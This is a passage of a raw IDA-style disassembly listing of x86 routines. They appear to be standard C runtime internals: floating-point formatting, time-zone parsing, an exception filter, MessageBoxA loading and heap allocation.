sub_4242F3+79j dec ebx sub ecx, 4 jns short loc_42435B pop edi pop esi pop ebx leave retn sub_4242F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424380 proc near ; CODE XREF: sub_4244EC+Dp ; sub_424502+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4243ED lea eax, [ebp+var_C] xor esi, esi push eax call sub_4242D8 test eax, eax pop ecx jnz loc_4244AC lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx loc_4243E5: ; CODE XREF: sub_424380+E4j push 2 loc_4243E7: ; CODE XREF: sub_424380+110j pop eax jmp loc_4244AE ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424380+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4242B1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 add esp, 10h test eax, eax jz short loc_42440E inc ebx loc_42440E: ; CODE XREF: sub_424380+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424426 lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx jmp short loc_424462 ; --------------------------------------------------------------------------- loc_424426: ; CODE XREF: sub_424380+98j cmp ebx, eax jg short loc_424469 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4242B1 lea eax, [ebp+var_C] push esi push eax call sub_4242F3 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_4242F3 add esp, 20h loc_424462: ; CODE XREF: sub_424380+A4j xor esi, esi jmp loc_4243E5 ; --------------------------------------------------------------------------- loc_424469: ; CODE XREF: sub_424380+A8j cmp ebx, [edi] jl short loc_424495 lea eax, [ebp+var_C] push eax call sub_4242CC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_4242F3 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4243E7 ; --------------------------------------------------------------------------- loc_424495: ; CODE XREF: sub_424380+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_4242F3 pop ecx pop ecx loc_4244AC: ; CODE XREF: sub_424380+55j xor eax, eax loc_4244AE: ; CODE XREF: sub_424380+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4244DD mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4244E7 ; --------------------------------------------------------------------------- loc_4244DD: ; CODE XREF: sub_424380+14Ej cmp edi, 20h jnz short loc_4244E7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4244E7: ; CODE XREF: sub_424380+15Bj ; sub_424380+160j pop edi pop esi pop ebx leave retn sub_424380 endp ; =============== S U B R O U T I N E ======================================= sub_4244EC proc near ; CODE XREF: sub_424518+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CCA8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_4244EC endp ; =============== S U B R O U T I N E ======================================= sub_424502 proc near ; CODE XREF: sub_424545+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CCC0 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_424502 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424518 proc near ; CODE XREF: sub_42199B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4244EC add esp, 24h leave retn sub_424518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424545 proc near ; CODE XREF: sub_42199B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424502 add esp, 24h leave retn sub_424545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424572 proc near ; CODE XREF: sub_4219D9+65p ; sub_421ADD+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4245AF mov [ebp+arg_0], ebx xor ebx, ebx loc_424595: ; CODE XREF: sub_424572+38j mov dl, [ecx] test dl, dl jz short loc_4245A1 movsx edx, dl inc ecx jmp short loc_4245A4 ; --------------------------------------------------------------------------- loc_4245A1: ; CODE XREF: sub_424572+27j push 30h pop edx loc_4245A4: ; CODE XREF: sub_424572+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424595 mov edx, [ebp+arg_8] loc_4245AF: ; CODE XREF: sub_424572+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4245C8 cmp byte ptr [ecx], 35h jl short loc_4245C8 loc_4245BB: ; CODE XREF: sub_424572+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4245C6 mov byte ptr [eax], 30h jmp short loc_4245BB ; --------------------------------------------------------------------------- loc_4245C6: ; CODE XREF: sub_424572+4Dj inc byte ptr [eax] loc_4245C8: ; CODE XREF: sub_424572+42j ; sub_424572+47j cmp byte ptr [esi], 31h jnz short loc_4245D2 inc dword ptr [edx+4] jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_4245D2: ; CODE XREF: sub_424572+59j push edi call sub_41AFE0 inc eax push eax push edi push esi call sub_41CC90 add esp, 10h loc_4245E4: ; CODE XREF: sub_424572+5Ej pop edi pop esi pop ebx pop ebp retn sub_424572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp ; sub_421ADD+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42464D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DB4A0 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4256C2 mov dword_4DB4C8, eax add esp, 18h movsx eax, byte_4DB4A2 mov dword_4DB4C0, eax pop edi movsx eax, word_4DB4A0 mov dword_4DB4C4, eax mov dword_4DB4CC, offset dword_4DB4A4 mov eax, offset dword_4DB4C0 pop esi leave retn sub_4245E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42464D proc near ; CODE XREF: sub_4245E9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_42469B cmp ebx, edi jz short loc_424694 lea edi, [ecx+3C00h] jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_424694: ; CODE XREF: sub_42464D+3Dj mov edi, 7FFFh jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_42469B: ; CODE XREF: sub_42464D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4246B3 cmp edx, ebx jnz short loc_4246B3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_4246FE ; --------------------------------------------------------------------------- loc_4246B3: ; CODE XREF: sub_42464D+52j ; sub_42464D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4246BC: ; CODE XREF: sub_42464D+45j ; sub_42464D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4246D4: ; CODE XREF: sub_42464D+A6j test ecx, esi jnz short loc_4246F5 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4246D4 ; --------------------------------------------------------------------------- loc_4246F5: ; CODE XREF: sub_42464D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_4246FE: ; CODE XREF: sub_42464D+64j pop edi pop esi pop ebx leave retn sub_42464D endp ; --------------------------------------------------------------------------- push 2 call sub_41DA29 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42470C proc near ; DATA XREF: ___:0043C8E8o ; ___:0043D148o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42472F cmp dword ptr [eax+10h], 3 jnz short loc_42472F cmp dword ptr [eax+14h], 19930520h jnz short loc_42472F jmp sub_42255C ; --------------------------------------------------------------------------- loc_42472F: ; CODE XREF: sub_42470C+Dj ; sub_42470C+13j ... mov eax, dword_4DB4D0 test eax, eax jz short loc_42474C push eax call sub_4247A8 test eax, eax pop ecx jz short loc_42474C push esi call dword_4DB4D0 jmp short loc_42474E ; --------------------------------------------------------------------------- loc_42474C: ; CODE XREF: sub_42470C+2Aj ; sub_42470C+35j xor eax, eax loc_42474E: ; CODE XREF: sub_42470C+3Ej pop esi retn 4 sub_42470C endp ; --------------------------------------------------------------------------- word_424752 dw 0C68h ; DATA XREF: ___:00429028o ; --------------------------------------------------------------------------- inc edi inc edx add [eax+1EB8A3E8h], dl add ah, byte ptr dword_4DB4D0[ebx] retn ; --------------------------------------------------------------------------- byte_424763 db 0FFh ; DATA XREF: ___:00429040o dd 4DB4D035h, 91E89000h, 0C3021EB8h ; =============== S U B R O U T I N E ======================================= sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp ; sub_4222C2+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2600AF5h test eax, eax jz short loc_424788 xor esi, esi loc_424788: ; CODE XREF: sub_424770+14j mov eax, esi pop esi retn sub_424770 endp ; =============== S U B R O U T I N E ======================================= sub_42478C proc near ; CODE XREF: sub_4222C2+73p ; sub_4222C2+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 28B082Fh test eax, eax jz short loc_4247A4 xor esi, esi loc_4247A4: ; CODE XREF: sub_42478C+14j mov eax, esi pop esi retn sub_42478C endp ; =============== S U B R O U T I N E ======================================= sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp ; sub_42470C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call near ptr 2600A52h nop test eax, eax jz short loc_4247BC xor esi, esi loc_4247BC: ; CODE XREF: sub_4247A8+10j mov eax, esi pop esi retn sub_4247A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42255C loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj push 0Ah call sub_4235C9 push 16h call sub_425955 pop ecx pop ecx push 3 call sub_41B7C2 ; END OF FUNCTION CHUNK FOR sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p cmp dword_4DB590, 0 jnz short locret_4247EB call sub_4247EC inc dword_4DB590 locret_4247EB: ; CODE XREF: sub_4247D7+7j retn sub_4247D7 endp ; =============== S U B R O U T I N E ======================================= sub_4247EC proc near ; CODE XREF: sub_4247D7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4DB4D8, ebp mov dword_43CD80, ebx mov dword_43CD70, ebx call sub_425AC7 mov esi, eax pop ecx cmp esi, ebp jnz loc_424915 push offset dword_4DB4E0 nop call near ptr 2870000h cmp eax, ebx jz loc_424A44 mov eax, dword_4DB4E0 mov ecx, dword_4DB534 imul eax, 3Ch cmp word_4DB526, bp push 1 pop edx mov dword_43CCD8, eax mov dword_4DB4D8, edx jz short loc_424863 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43CCD8, eax loc_424863: ; CODE XREF: sub_4247EC+69j cmp word_4DB57A, bp jz short loc_424887 mov eax, dword_4DB588 cmp eax, ebp jz short loc_424887 sub eax, ecx mov dword_43CCDC, edx imul eax, 3Ch mov dword_43CCE0, eax jmp short loc_424893 ; --------------------------------------------------------------------------- loc_424887: ; CODE XREF: sub_4247EC+7Ej ; sub_4247EC+87j mov dword_43CCDC, ebp mov dword_43CCE0, ebp loc_424893: ; CODE XREF: sub_4247EC+99j lea eax, [esp+14h+var_4] mov esi, dword_42717C push eax push ebp push 3Fh mov edi, 220h push off_43CD64 push ebx push offset dword_4DB4E4 push edi push dword_4DB374 call esi test eax, eax jz short loc_4248D0 cmp [esp+14h+var_4], ebp jnz short loc_4248D0 mov eax, off_43CD64 and byte ptr [eax+3Fh], 0 jmp short loc_4248D8 ; --------------------------------------------------------------------------- loc_4248D0: ; CODE XREF: sub_4247EC+D1j ; sub_4247EC+D7j mov eax, off_43CD64 and byte ptr [eax], 0 loc_4248D8: ; CODE XREF: sub_4247EC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43CD68 push ebx push offset dword_4DB538 push edi push dword_4DB374 call esi test eax, eax jz loc_424A3C cmp [esp+14h+var_4], ebp jnz loc_424A3C mov eax, off_43CD68 and byte ptr [eax+3Fh], 0 jmp loc_424A44 ; --------------------------------------------------------------------------- loc_424915: ; CODE XREF: sub_4247EC+2Dj cmp byte ptr [esi], 0 jz loc_424A44 mov eax, dword_4DB58C cmp eax, ebp jz short loc_424938 push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_424A44 loc_424938: ; CODE XREF: sub_4247EC+139j push dword_4DB58C call sub_41B0B1 push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 add esp, 0Ch cmp eax, ebp mov dword_4DB58C, eax jz loc_424A44 push esi push eax call sub_41BEB0 push 3 push esi push off_43CD64 call sub_41B5F0 mov eax, off_43CD64 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42498D push 1 inc esi pop edi loc_42498D: ; CODE XREF: sub_4247EC+19Bj push esi call sub_41B6EE pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43CCD8, ecx loc_4249A4: ; CODE XREF: sub_4247EC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4249B2 cmp al, bl jl short loc_4249B5 cmp al, 39h jg short loc_4249B5 loc_4249B2: ; CODE XREF: sub_4247EC+1BCj inc esi jmp short loc_4249A4 ; --------------------------------------------------------------------------- loc_4249B5: ; CODE XREF: sub_4247EC+1C0j ; sub_4247EC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE imul eax, 3Ch pop ecx mov ecx, dword_43CCD8 add ecx, eax mov dword_43CCD8, ecx loc_4249D3: ; CODE XREF: sub_4247EC+1F2j mov al, [esi] cmp al, bl jl short loc_4249E0 cmp al, 39h jg short loc_4249E0 inc esi jmp short loc_4249D3 ; --------------------------------------------------------------------------- loc_4249E0: ; CODE XREF: sub_4247EC+1EBj ; sub_4247EC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE pop ecx mov ecx, dword_43CCD8 add ecx, eax mov dword_43CCD8, ecx loc_4249FB: ; CODE XREF: sub_4247EC+21Aj mov al, [esi] cmp al, bl jl short loc_424A08 cmp al, 39h jg short loc_424A08 inc esi jmp short loc_4249FB ; --------------------------------------------------------------------------- loc_424A08: ; CODE XREF: sub_4247EC+1CCj ; sub_4247EC+1F7j ... cmp edi, ebp jz short loc_424A14 neg ecx mov dword_43CCD8, ecx loc_424A14: ; CODE XREF: sub_4247EC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43CCDC, eax jz short loc_424A3C push 3 push esi push off_43CD68 call sub_41B5F0 mov eax, off_43CD68 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424A44 ; --------------------------------------------------------------------------- loc_424A3C: ; CODE XREF: sub_4247EC+10Bj ; sub_4247EC+115j ... mov eax, off_43CD68 and byte ptr [eax], 0 loc_424A44: ; CODE XREF: sub_4247EC+40j ; sub_4247EC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4247EC endp ; =============== S U B R O U T I N E ======================================= sub_424A4A proc near ; CODE XREF: sub_422669+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43CCDC, edi jnz short loc_424A5E loc_424A57: ; CODE XREF: sub_424A4A+148j ; sub_424A4A+150j ... xor eax, eax jmp loc_424BAA ; --------------------------------------------------------------------------- loc_424A5E: ; CODE XREF: sub_424A4A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43CD70 jnz short loc_424A7C cmp eax, dword_43CD80 jz loc_424B7E loc_424A7C: ; CODE XREF: sub_424A4A+24j cmp dword_4DB4D8, edi jz loc_424B54 movzx ecx, word_4DB586 push ecx cmp word_4DB578, di movzx ecx, word_4DB584 push ecx movzx ecx, word_4DB582 push ecx movzx ecx, word_4DB580 push ecx jnz short loc_424ACE movzx ecx, word_4DB57C push edi push ecx movzx ecx, word_4DB57E push ecx movzx ecx, word_4DB57A push ecx push eax push ebx jmp short loc_424AE2 ; --------------------------------------------------------------------------- loc_424ACE: ; CODE XREF: sub_424A4A+65j movzx ecx, word_4DB57E push ecx push edi movzx ecx, word_4DB57A push edi push ecx push eax push edi loc_424AE2: ; CODE XREF: sub_424A4A+82j push ebx call sub_424BF6 movzx eax, word_4DB532 add esp, 2Ch cmp word_4DB524, di push eax movzx eax, word_4DB530 push eax movzx eax, word_4DB52E push eax movzx eax, word_4DB52C push eax jnz short loc_424B3C movzx eax, word_4DB528 push edi push eax movzx eax, word_4DB52A push eax movzx eax, word_4DB526 push eax push dword ptr [esi+14h] push ebx loc_424B31: ; CODE XREF: sub_424A4A+108j push edi call sub_424BF6 add esp, 2Ch jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B3C: ; CODE XREF: sub_424A4A+C8j movzx eax, word_4DB52A push eax push edi movzx eax, word_4DB526 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424B31 ; --------------------------------------------------------------------------- loc_424B54: ; CODE XREF: sub_424A4A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424BF6 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424BF6 add esp, 58h loc_424B7E: ; CODE XREF: sub_424A4A+2Cj ; sub_424A4A+F0j mov edx, dword_43CD74 mov eax, dword_43CD84 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424BAE cmp ecx, edx jl loc_424A57 cmp ecx, eax jg loc_424A57 cmp ecx, edx jle short loc_424BC2 cmp ecx, eax jge short loc_424BC2 loc_424BA8: ; CODE XREF: sub_424A4A+166j ; sub_424A4A+16Aj mov eax, ebx loc_424BAA: ; CODE XREF: sub_424A4A+Fj ; sub_424A4A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424BAE: ; CODE XREF: sub_424A4A+144j cmp ecx, eax jl short loc_424BA8 cmp ecx, edx jg short loc_424BA8 cmp ecx, eax jle short loc_424BC2 cmp ecx, edx jl loc_424A57 loc_424BC2: ; CODE XREF: sub_424A4A+158j ; sub_424A4A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424BE9 xor ecx, ecx cmp eax, dword_43CD78 setnl cl loc_424BE5: ; CODE XREF: sub_424A4A+1AAj mov eax, ecx jmp short loc_424BAA ; --------------------------------------------------------------------------- loc_424BE9: ; CODE XREF: sub_424A4A+18Ej xor ecx, ecx cmp eax, dword_43CD88 setl cl jmp short loc_424BE5 sub_424A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p ; sub_424A4A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424C91 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424C21 shl esi, 2 mov eax, dword_43CD88[esi] jmp short loc_424C2A ; --------------------------------------------------------------------------- loc_424C21: ; CODE XREF: sub_424BF6+1Ej shl esi, 2 mov eax, dword_43CDBC[esi] loc_424C2A: ; CODE XREF: sub_424BF6+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_424C64 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424C6E ; --------------------------------------------------------------------------- loc_424C64: ; CODE XREF: sub_424BF6+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424C6E: ; CODE XREF: sub_424BF6+6Cj cmp [ebp+arg_10], 5 jnz short loc_424CAC cmp [ebp+arg_8], 0 jnz short loc_424C82 mov esi, dword_43CD8C[esi] jmp short loc_424C88 ; --------------------------------------------------------------------------- loc_424C82: ; CODE XREF: sub_424BF6+82j mov esi, dword_43CDC0[esi] loc_424C88: ; CODE XREF: sub_424BF6+8Aj cmp ecx, esi jle short loc_424CAC sub ecx, 7 jmp short loc_424CAC ; --------------------------------------------------------------------------- loc_424C91: ; CODE XREF: sub_424BF6+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424CA2 mov ecx, dword_43CD88[eax*4] jmp short loc_424CA9 ; --------------------------------------------------------------------------- loc_424CA2: ; CODE XREF: sub_424BF6+A1j mov ecx, dword_43CDBC[eax*4] loc_424CA9: ; CODE XREF: sub_424BF6+AAj add ecx, [ebp+arg_18] loc_424CAC: ; CODE XREF: sub_424BF6+7Cj ; sub_424BF6+94j ... cmp [ebp+arg_0], 1 jnz short loc_424CDD mov eax, [ebp+arg_1C] mov dword_43CD74, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43CD70, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD78, eax jmp short loc_424D32 ; --------------------------------------------------------------------------- loc_424CDD: ; CODE XREF: sub_424BF6+BAj mov eax, [ebp+arg_1C] mov dword_43CD84, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43CCE0 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD88, eax jns short loc_424D15 add eax, 5265C00h dec ecx mov dword_43CD88, eax jmp short loc_424D26 ; --------------------------------------------------------------------------- loc_424D15: ; CODE XREF: sub_424BF6+110j mov edx, 5265C00h cmp eax, edx jl short loc_424D2C sub eax, edx inc ecx mov dword_43CD88, eax loc_424D26: ; CODE XREF: sub_424BF6+11Dj mov dword_43CD84, ecx loc_424D2C: ; CODE XREF: sub_424BF6+126j mov dword_43CD80, ebx loc_424D32: ; CODE XREF: sub_424BF6+E5j pop esi pop ebx pop ebp retn sub_424BF6 endp ; =============== S U B R O U T I N E ======================================= sub_424D36 proc near ; CODE XREF: ___:00422E9Dp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424D47 add esp, 0Ch retn sub_424D36 endp ; =============== S U B R O U T I N E ======================================= sub_424D47 proc near ; CODE XREF: sub_424D36+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DC821[eax], cl jnz short loc_424D74 cmp [esp+arg_4], 0 jz short loc_424D6D movzx eax, word_43C332[eax*2] and eax, [esp+arg_4] jmp short loc_424D6F ; --------------------------------------------------------------------------- loc_424D6D: ; CODE XREF: sub_424D47+16j xor eax, eax loc_424D6F: ; CODE XREF: sub_424D47+24j test eax, eax jnz short loc_424D74 retn ; --------------------------------------------------------------------------- loc_424D74: ; CODE XREF: sub_424D47+Fj ; sub_424D47+2Aj push 1 pop eax retn sub_424D47 endp ; =============== S U B R O U T I N E ======================================= sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DB594, ebx push esi push edi jnz short loc_424DC7 push offset aUser32_dll ; "user32.dll" nop call near ptr 2690BE7h mov edi, eax cmp edi, ebx jz short loc_424DFD mov esi, dword_4270BC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DB594, eax jz short loc_424DFD push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DB598, eax call esi mov dword_4DB59C, eax loc_424DC7: ; CODE XREF: sub_424D78+Bj mov eax, dword_4DB598 test eax, eax jz short loc_424DE6 call eax mov ebx, eax test ebx, ebx jz short loc_424DE6 mov eax, dword_4DB59C test eax, eax jz short loc_424DE6 push ebx call eax mov ebx, eax loc_424DE6: ; CODE XREF: sub_424D78+56j ; sub_424D78+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DB594 loc_424DF9: ; CODE XREF: sub_424D78+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424DFD: ; CODE XREF: sub_424D78+1Cj ; sub_424D78+33j xor eax, eax jmp short loc_424DF9 sub_424D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E01 proc near ; CODE XREF: sub_423936+22p ; sub_423936+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_424E22 test esi, esi jnz short loc_424E1C push 1 pop esi loc_424E1C: ; CODE XREF: sub_424E01+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_424E22: ; CODE XREF: sub_424E01+12j ; sub_424E01+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424E81 mov eax, dword_4DC948 cmp eax, 3 jnz short loc_424E4D mov eax, [ebp+arg_0] cmp eax, dword_4DC940 ja short loc_424E6C push eax call sub_41E1CB mov edi, eax pop ecx test edi, edi jnz short loc_424E97 jmp short loc_424E6C ; --------------------------------------------------------------------------- loc_424E4D: ; CODE XREF: sub_424E01+30j cmp eax, 2 jnz short loc_424E6C cmp esi, dword_43C324 ja short loc_424E6C mov eax, esi shr eax, 4 push eax call sub_41EC6E mov edi, eax pop ecx test edi, edi jnz short loc_424EAB loc_424E6C: ; CODE XREF: sub_424E01+3Bj ; sub_424E01+4Aj ... push esi push 8 push dword_4DC944 call near ptr 27A0000h nop mov edi, eax test edi, edi jnz short loc_424EA5 loc_424E81: ; CODE XREF: sub_424E01+26j cmp dword_4DB32C, 0 jz short loc_424EA5 push esi call sub_41F312 test eax, eax pop ecx jz short loc_424EAE jmp short loc_424E22 ; --------------------------------------------------------------------------- loc_424E97: ; CODE XREF: sub_424E01+48j push [ebp+arg_0] loc_424E9A: ; CODE XREF: sub_424E01+ABj push 0 push edi call sub_41B590 add esp, 0Ch loc_424EA5: ; CODE XREF: sub_424E01+7Ej ; sub_424E01+87j mov eax, edi loc_424EA7: ; CODE XREF: sub_424E01+AFj pop edi pop esi pop ebp retn 